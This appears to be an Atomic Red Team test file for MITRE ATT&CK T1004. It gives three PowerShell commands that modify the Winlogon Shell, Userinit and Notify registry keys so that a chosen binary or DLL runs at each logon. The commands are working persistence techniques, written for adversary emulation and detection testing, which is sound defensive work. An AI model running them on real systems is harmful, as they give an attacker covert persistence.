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atomic-red-team/atomics/T1004/T1004.md
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2019-09-03 13:36:10 +00:00

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# T1004 - Winlogon Helper DLL
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1004)
<blockquote>Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.</blockquote>
## Atomic Tests
- [Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell](#atomic-test-1---winlogon-shell-key-persistence---powershell)
- [Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell](#atomic-test-2---winlogon-userinit-key-persistence---powershell)
- [Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell](#atomic-test-3---winlogon-notify-key-logon-persistence---powershell)
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## Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of binary to execute | Path | C:\Windows\System32\cmd.exe|
#### Run it with `powershell`!
```
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
```
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## Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of binary to execute | Path | C:\Windows\System32\cmd.exe|
#### Run it with `powershell`!
```
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
```
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<br/>
## Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell
PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of notification package to execute | Path | C:\Windows\Temp\atomicNotificationPackage.dll|
#### Run it with `powershell`!
```
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
```
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